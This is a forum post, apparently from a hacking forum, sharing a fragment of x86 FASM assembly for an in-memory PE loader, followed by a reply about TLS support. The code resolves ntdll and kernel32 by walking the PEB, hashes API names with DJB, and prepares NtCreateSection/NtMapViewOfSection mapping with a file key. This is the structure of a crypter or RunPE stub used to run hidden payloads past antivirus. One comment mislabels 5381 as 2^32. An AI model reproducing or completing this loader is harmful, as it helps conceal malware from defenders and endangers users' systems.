dwGetProcAddress dd 0

szNtCreateSection db 'NtCreateSection', 0
szNtMapViewOfSection db 'NtMapViewOfSection', 0  
szNtUnmapViewOfSection db 'NtUnmapViewOfSection', 0  
szGetCurrentProcess db 'GetCurrentProcess', 0
szVirtualAlloc db 'VirtualAlloc', 0
szGetModuleHandleW db 'GetModuleHandleW', 0
szLoadLibraryA db 'LoadLibraryA', 0
szGetLastError db 'GetLastError', 0  
;--
dwNtCreateSection dd 0
dwNtMapViewOfSection dd 0
dwNtUnmapViewOfSection dd 0
dwGetCurrentProcess dd 0
dwVirtualAlloc dd 0
dwGetModuleHandleW dd 0
dwLoadLibraryA dd 0
dwGetLastError dd 0

dwFile dd 0
dwFileSize dd 0
dwKey dd 0
dwFileImageBase dd 0

hSection dd 0
align 8
maxSize LARGE_INTEGER 0
dwSectionBaseAddr dd 0
dwViewSize dd 0
dwBoot dd 0                ; Used to verify if it's already mapped
hProcess dd 0
dwEntryPoint dd 0
dwModule dd 0

dwOriginalFirstThunk dd 0
dwFirstThunk dd 0
dwCurrentDLL dd 0

;-------------------------------------------------
; GetNtdll - Récupére l'adresse de ntdll.dll
; via le PEB du processure (2nd entrée)
;-------------------------------------------------
proc GetNtdll
    mov eax, [fs:30h]       ; PEB
    mov eax, [eax + 0Ch]    ; PEB->Ldr
    mov eax, [eax + 14h]    ; PEB->Ldr.InMemoryOrderModuleList.Flink (1ére entrée)
    mov eax, [eax]            ; 2nd entrée (ntdll.dll)
    mov eax, [eax + 10h]    ; 2nd entry's address
                
    ret
endp

;-------------------------------------------------
; GetKernel32 - get kernel32.dll address
; via the process's PEB (3rd entry)
;-------------------------------------------------
proc GetKernel32
    mov eax, [fs:30h]       ; PEB
    mov eax, [eax + 0Ch]    ; PEB->Ldr
    mov eax, [eax + 14h]    ; PEB->Ldr.InMemoryOrderModuleList.Flink (1ére entrée)
    mov eax, [eax]            ; 2nd entry (ntdll.dll)
    mov eax, [eax]            ; 3nd entry (kernel32.dll)
    mov eax, [eax + 10h]    ; 3rd entry's address
                
    ret
endp

;-------------------------------------------------
; DjbHash - used to hash via DJB
; p°1: Contains a pointer to the string
;-------------------------------------------------
proc DjbHash
    mov esi, [esp+4]
    mov eax, 5381d          ; 2^32
    
    hLoop:
        mov ebx, eax        ; We save it
        shl eax, 5            ; eax << 5
        add eax, ebx        ; eax + former eax
        

        movzx ecx, byte[esi]    ; Essential to manage the retenue (return?)
        add eax, ecx            ; We add the character
        
        inc esi                ; str++
        cmp byte [esi], 0      ; end of string
        jne hLoop
        
    retn 4
endp

;-------------------------------------------------
; MemCpy - C memcpy equivalent
;-------------------------------------------------
proc MemCpy, lpDest, lpSource, Count
    push esi edi ecx
    mov esi, [lpSource]
    mov edi, [lpDest]
    mov ecx, [Count]
    
    test ecx, ecx    ; If size is null
    je endCopy     ; We quit
    
    copyLoop:
        mov al, byte [esi]
        mov byte [edi], al
        inc edi
        inc esi
        dec ecx
        test ecx, ecx
    jne copyLoop

    endCopy:
    pop ecx edi esi
    ret
endp

EOF:
Hi xash, did you ever try TLS support with this method ? does tls must be mappend on the output exe (on disk) ?
You can add the TLS support without modify the output executable, just with the API (ex: TlsAlloc).


Possibly Related Threads...
Thread / Author Replies Views Last Post
[Assembly] by Glitch007May 15, 2018 08:46 AM 2 360 May 15, 2018 08:46 AM
Last Post: HFDone
[Assembly] by Glitch007May 15, 2018 06:48 AM 0 222 May 15, 2018 06:48 AM
Last Post: Glitch007
[Assembly] by YatteringJan 4, 2017 07:48 PM 11 720 Jan 4, 2017 07:48 PM
Last Post: imbackbishes